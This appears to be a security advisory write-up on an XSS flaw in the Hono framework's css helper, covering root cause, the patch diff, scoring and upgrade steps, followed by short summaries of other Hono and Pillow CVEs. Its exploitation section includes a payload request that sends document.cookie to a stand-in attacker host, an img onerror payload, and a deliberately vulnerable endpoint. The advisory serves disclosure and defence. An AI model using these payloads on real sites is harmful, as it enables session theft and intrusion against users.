Nov 13, 2026·10 min read·3 visits
Hono versions 3.12.0 through 4.13.15 fail to escape closing `</style>` tags in the `hono/css` helper when the `<` and `/` characters are split across template literals, adjacent interpolations, or CSS comments. This enables Cross-Site Scripting (XSS) during Server-Side Rendering (SSR). Upgrade to Hono 4.13.16 to resolve the issue.
CVE-2026-126359 (GHSA-3gg2-335m-rxc6) is an improper input neutralization vulnerability (CWE-79) in the Hono web framework (`honojs/hono`). Versions from 3.12.0 prior to 4.13.16 evaluate and escape interpolated strings in the `hono/css` helper individually before concatenating template chunks and stripping CSS comments. When a `<` character and a `/style>` sequence are split across template boundaries, adjacent interpolations, or separated by a CSS comment, the sanitizer fails to escape the closing tag sequence. During Server-Side Rendering (SSR), the `<Style />` component outputs an unescaped `</style>` delimiter, permitting an attacker to break out of the CSS raw text context and execute arbitrary HTML and JavaScript in the victim's browser.
Hono is a JavaScript and TypeScript web application framework designed for edge runtimes, including Cloudflare Workers, Fastly Compute, Deno, Bun, and Node.js. Beyond HTTP routing and middleware management, Hono includes built-in JSX support for Server-Side Rendering (SSR) and a dedicated CSS-in-JS utility located in the hono/css module. Developers use the css tagged template literal helper to define scoped stylesheets dynamically within server-rendered components, which are subsequently collected and injected into the HTML document via the <Style /> component.
In HTML5 parsing specifications, the <style> tag is defined as a RAWTEXT element. Unlike standard HTML elements where child tags and character references are parsed into DOM nodes, the HTML parser treats everything inside a <style> block as raw character data until it encounters the specific closing character sequence </style> (matched case-insensitively). Because HTML entity encoding (such as converting < to <) does not function as an escaping mechanism inside RAWTEXT elements, CSS-in-JS libraries must explicitly neutralize any </ sequences inside style definitions to prevent premature termination of the <style> element.
CVE-2026-126359 (tracked also as GHSA-3gg2-335m-rxc6) is a Cross-Site Scripting (XSS) vulnerability classified under CWE-79 in Hono versions >= 3.12.0 and < 4.13.16. The vulnerability stems from a flaw in how the buildStyleString() function inside src/helper/css/common.ts sanitizes interpolated values. Because sanitization is applied to each interpolated string variable in isolation prior to string concatenation and CSS minification, an attacker can split the < and /style> tokens across separate segments.
When the server renders the resulting stylesheet into an HTML response via <Style />, the split characters are joined into a literal </style> tag. The browser exits the CSS parsing context early and interprets the remainder of the attacker's payload as standard HTML markup, leading to arbitrary JavaScript execution in the context of the user's browser session.
The root cause of CVE-2026-126359 is a classic order-of-operations flaw: performing context-dependent pattern sanitization on individual fragments before assembling and transforming the final composite string. In src/helper/css/common.ts, the buildStyleString() function iterates through the static strings array of a tagged template literal and interleaves them with the evaluated dynamic values.
In versions prior to 4.13.16, when buildStyleString() encountered a dynamic string value, it executed a regular expression test and replacement designed to escape quotes, backslashes, and forward slashes that immediately followed a less-than sign:
if (typeof value === 'string') {
if (/([\\"'\/])/.test(value)) {
styleString += value.replace(/([\\"']|(?<=<)\/)/g, '\\$1')
} else {
styleString += value
}
}The regular expression (?<=<)\/ utilizes a positive lookbehind assertion that matches a forward slash / only if it is immediately preceded by <. Because .replace() is invoked solely on the isolated value variable before it is appended to styleString, the regular expression engine has no visibility into the characters at the end of styleString or the characters that will follow after CSS minification.
This design fails across four distinct boundary conditions:
< (e.g., csscontent: '<${userInput}';``) and userInput begins with /style>, the < resides in the static template array while / is at index 0 of value. The lookbehind assertion (?<=<) evaluates against the start of value, finds no preceding <, and leaves / unescaped.csscontent: '$$';) or passed as elements of an array (e.g., `css`content: '${['<', '/style>']}';), each element is sanitized in a separate loop iteration. Neither string contains the contiguous </ sequence during its individual check.buildStyleString(), the assembled styleString is passed to minify(styleString). The minify() function removes CSS comments (/* ... */). If a static template contains </**/ followed by a dynamic value starting with /style>, or if a single dynamic value contains </*comment*/style>, the per-value lookbehind fails because * precedes /. Subsequently, minify() strips /**/, bringing < and / together into an unescaped </style> sequence.The vulnerability was remediated in commit 15bbd96ad1b62a0b189db4fd8dc7bf8ef280c513 (released in Hono v4.13.16). The patch modifies src/helper/css/common.ts to decouple string-quote escaping from HTML closing-tag neutralization, relocating the </ escaping to the final return statement of buildStyleString().
diff --git a/src/helper/css/common.ts b/src/helper/css/common.ts
index f32ccb27e0..fee9be8100 100644
--- a/src/helper/css/common.ts
+++ b/src/helper/css/common.ts
@@ -165,11 +165,7 @@ export const buildStyleString = (
continue
}
if (typeof value === 'string') {
- if (/([\\"'\/])/.test(value)) {
- styleString += value.replace(/([\\"']|(?<=<)\/)/g, '\\$1')
- } else {
- styleString += value
- }
+ styleString += value.replace(/[\\"']/g, '\\$&')
} else if (typeof value === 'number') {
styleString += value
} else if ((value as CssEscapedString)[CSS_ESCAPED]) {
@@ -199,7 +195,8 @@ export const buildStyleString = (
}
}
- return [label, minify(styleString), selectors, externalClassNames]
+ // Minification can join `<` and `/` across template parts or removed comments.
+ return [label, minify(styleString).replace(/<\//g, '<\\/'), selectors, externalClassNames]
}In the updated implementation, per-value string escaping is simplified to value.replace(/[\\"']/g, '\\$&'). This ensures that interpolated strings cannot break out of CSS string literals (via unescaped single or double quotes) or neutralize subsequent escape characters (via trailing backslashes), which remains strictly a per-token concern.
Once all template substrings, interpolated values, nested CSS fragments, and array values are concatenated into styleString, the function invokes minify(styleString). Immediately following minification, .replace(/<\//g, '<\\/') is executed across the entire finalized CSS string.
> [!NOTE]
> In CSS syntax, a backslash followed by a forward slash (\/) is interpreted as an escaped / character, which evaluates identically to a literal / inside CSS properties and content strings. However, to the browser's HTML RAWTEXT parser, the insertion of the backslash breaks the literal </style> byte sequence, preventing the parser from closing the <style> element.
Moving the .replace(/<\//g, '<\\/') call to the post-minification output of buildStyleString() completely resolves all cross-boundary concatenation and comment-stripping bypasses. Because minify() is the final transformation step before the string is stored in the CssEscapedString object and eventually rendered by <Style />, no subsequent string manipulation removes the injected backslash. Furthermore, escaping every instance of </ regardless of what follows ensures that variations such as </style >, </STYLE>, or </style\t> are uniformly neutralized at the </ prefix.
Exploiting CVE-2026-126359 requires an application endpoint that uses Hono's css helper with untrusted user input and renders the output using the <Style /> component. While the AC:H (Attack Complexity: High) metric in the CVSS vector reflects that the application must satisfy specific coding patterns, there are multiple ways a developer may inadvertently introduce this condition.
< in Template LiteralsA developer may construct a decorative CSS pseudo-element (::before or ::after) that wraps a user-supplied label or tag in angle brackets:
import { Hono } from 'hono'
import { css, Style } from 'hono/css'
const app = new Hono()
app.get('/badge', (c) => {
const label = c.req.query('label') ?? 'user'
const badgeStyle = css`
&::before {
content: '<${label}>';
}
`
return c.html(
<html>
<head>
<Style />
</head>
<body>
<span class={badgeStyle}>Account</span>
</body>
</html>
)
})To exploit this endpoint, an attacker crafts a request supplying a payload that starts with /style>:
GET /badge?label=/style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script> HTTP/1.1
Host: vulnerable-app.exampleWhen Hono processes this request on versions < 4.13.16, the per-value sanitizer inspects /style><script>.... Because the < character is located in the static template string (content: '<), the regex (?<=<)\/ does not match. The resulting HTML emitted to the client is:
<html>
<head>
<style id="hono-css">.css-3142110215::before{content:'</style><script>fetch(\'https://attacker.example/steal?c=\'+document.cookie)</script>>'}</style>
</head>
<body>
<span class="css-3142110215">Account</span>
</body>
</html>Even if the < character is not explicitly placed in the template literal by the developer, an attacker or complex template structure can leverage CSS comments. For example, if a template places a CSS comment after < or if two controllable values are adjacent:
// Adjacent interpolations controlled via query parameters or state properties
const prefix = c.req.query('prefix') // Attacker sends: "<"
const suffix = c.req.query('suffix') // Attacker sends: "/style><img src=x onerror=alert(1)>"
const dynamicClass = css`
--custom-var: '${prefix}${suffix}';
`In both scenarios, once the victim's browser parses the </style> sequence inside <head>, it immediately closes the stylesheet and executes the injected <script> or <img onerror=...> payload in the origin of the vulnerable application.
The primary security impact of CVE-2026-126359 is reflected or stored Cross-Site Scripting (XSS), depending on whether the interpolated CSS values originate from request parameters or persisted database records (such as user profile themes or custom display names).
Once arbitrary JavaScript executes within the victim's browser session, the attacker operates with the full privileges of the authenticated user within the web origin. Concrete consequences include:
HttpOnly session cookies, localStorage bearer tokens, or sensitive data rendered within the DOM (MITRE ATT&CK T1185).fetch() or XMLHttpRequest from within the trusted origin.GitHub and the NVD scored this vulnerability at 3.4 (Low) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N:
AV:N): Exploitable remotely over standard HTTP/HTTPS connections.AC:H): Exploitation depends on specific application coding patterns where dynamic input is interpolated immediately following a < character, adjacent to another controllable interpolation, or following a CSS comment.PR:N) & User Interaction (UI:R): No authentication is required to craft the malicious link, though a victim user must navigate to the crafted URL or view the affected page.S:C): The vulnerability occurs within the server-side CSS generation component (hono/css) but impacts the client-side browser execution environment.C:L), Integrity (I:N), Availability (A:N): While the official advisory vector sets Integrity to None, security engineers should note that full JavaScript execution in a browser typically impacts both confidentiality and client-side integrity.Current threat intelligence indicates an EPSS score of 0.00262 (18.11th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The definitive remediation for CVE-2026-126359 is to upgrade the hono package to version 4.13.16 or later. The patch in 4.13.16 enforces global post-minification escaping of all </ sequences in hono/css without requiring any changes to application code or API usage.
Update hono using your runtime's package manager:
# npm
npm install hono@^4.13.16
# Bun
bun add hono@^4.13.16
# pnpm
pnpm update hono
# Yarn
yarn upgrade hono@^4.13.16For Deno users importing Hono via JSR or npm specifiers in deno.json, update the version constraint to ^4.13.16:
{
"imports": {
"hono": "jsr:@hono/hono@^4.13.16"
}
}If an immediate upgrade to v4.13.16 cannot be deployed, development teams should audit all occurrences of the css helper across their codebase and apply the following mitigations:
css tagged template literal, escape all forward slashes or < characters manually:
const sanitizeForCss = (input: string): string => {
return input.replace(/\//g, '\\/').replace(/</g, '\\3c ')
}
const safeClass = css`
content: '<${sanitizeForCss(untrustedInput)}>';
`style Attributes: Instead of interpolating user-controlled strings directly into hono/css tagged templates, pass dynamic values via standard JSX style attributes as CSS custom properties (--user-var), which are rendered inside HTML attribute contexts and automatically HTML-entity encoded by Hono's JSX renderer.CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
hono honojs | >= 3.12.0, < 4.13.16 | 4.13.16 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-126359 / GHSA-3gg2-335m-rxc6 |
| Vulnerability Class | CWE-79: Cross-Site Scripting (XSS) / HTML Injection |
| Affected Component | hono/css helper (buildStyleString in src/helper/css/common.ts) |
| CVSS v3.1 Score | 3.4 Low (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N) |
| EPSS Score | 0.26% (Percentile: 18.11%) |
| Affected Versions | hono >= 3.12.0, < 4.13.16 |
| Patched Version | hono 4.13.16 |
| CISA KEV Status | Not Listed |
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
An incorrect authorization vulnerability (CWE-863) exists in the Hono web application framework (npm package `hono`) from version 4.1.4 prior to 4.13.16. Flaws in the registration-time coverage calculation and regular expression compilation within `RegExpRouter` cause wildcard middleware to be omitted under three specific routing conditions: parameter pattern equivalence mismatches, wildcard boundary collisions, and request paths containing percent-encoded line terminators. Because Hono's default `SmartRouter` selects `RegExpRouter` for most standard web applications, unauthenticated remote clients can bypass authentication, authorization, or security middleware registered on wildcard paths to directly access protected route handlers or the application's not-found handler.
CVE-2026-126357 (GHSA-4m76-xfj5-7975) is an authentication bypass vulnerability in the Hono web application framework prior to version 4.13.16. The flaw resides in the prefix-stripping and URL reconstruction logic of `app.mount()` and the `mount()` middleware. Two distinct path transformation errors—static route-pattern length slicing on dynamic prefixes and URL normalization of decoded pathnames—create a routing discrepancy between the outer Hono router and the mounted sub-application. An unauthenticated attacker can exploit these discrepancies to bypass outer authentication or authorization middleware and access protected inner routes directly.
A parser differential vulnerability exists in the Hono web application framework versions 4.5.1 prior to 4.13.16. The built-in form validation middleware (`validator('form')`) utilizes an overly restrictive regular expression to evaluate the HTTP `Content-Type` header for `multipart/form-data` payloads. When a client supplies additional valid MIME parameters (such as `charset=utf-8`) or multiple whitespace characters following a semicolon delimiter, the regular expression fails to match. Consequently, the validator passes an empty object to the validation callback instead of the parsed form fields. If the validation logic permits empty objects or only checks for disallowed values on optional properties, the request passes validation, allowing downstream route handlers calling `c.req.parseBody()` or `c.req.formData()` to process unvalidated user input.
CVE-2026-126355 (GHSA-46wx-v44x-9hh2) is a Cross-Site Request Forgery (CSRF) validation bypass in Hono, a web application framework for JavaScript runtimes. Prior to version 4.13.16, Hono's built-in csrf() middleware only evaluated origin headers for requests matching standard HTML form MIME types (application/x-www-form-urlencoded, multipart/form-data, and text/plain). By leveraging the HTML anchor ping attribute in Chromium-based browsers, an attacker can initiate an unprompted, credentialed cross-origin HTTP POST request with Content-Type: text/ping without triggering a CORS preflight request. Because text/ping was omitted from the middleware regular expression, requests bypassed Origin and Sec-Fetch-Site verification, allowing unauthorized state-changing operations.
CVE-2026-128067 is a memory corruption vulnerability in Pillow (versions 2.3.0 through 12.3.0) occurring when saving compressed TIFF images via the underlying libtiff encoder. By supplying crafted image geometry tags through exif=, tiffinfo=, or a source TIFF IFD, an attacker can override the scanline dimensions configured in libtiff while Pillow allocates the internal row buffer based strictly on the physical image dimensions. This mismatch induces an out-of-bounds heap read during scanline encoding, and escalates to an out-of-bounds heap write when TIFF Predictor 2 (horizontal differencing) is enabled.
CVE-2026-128066 (GHSA-wqgw-9xfh-qf2g) is a resource allocation vulnerability (CWE-770) in the Python Pillow imaging library affecting versions 1.0 through 12.3.0. The flaw resides in the ImageFileDirectory_v2.load() method within src/PIL/TiffImagePlugin.py, which processes Tag Image File Format (TIFF) structures and Exchangeable Image File Format (EXIF) metadata across multiple container formats. By supplying an image with thousands of IFD tag entries that point to overlapping or identical file offsets, an attacker can trigger quadratic memory amplification (O(N * filesize)). Because the vulnerability occurs during metadata parsing rather than pixel decoding, it bypasses Pillow's built-in decompression bomb protections (Image.MAX_IMAGE_PIXELS).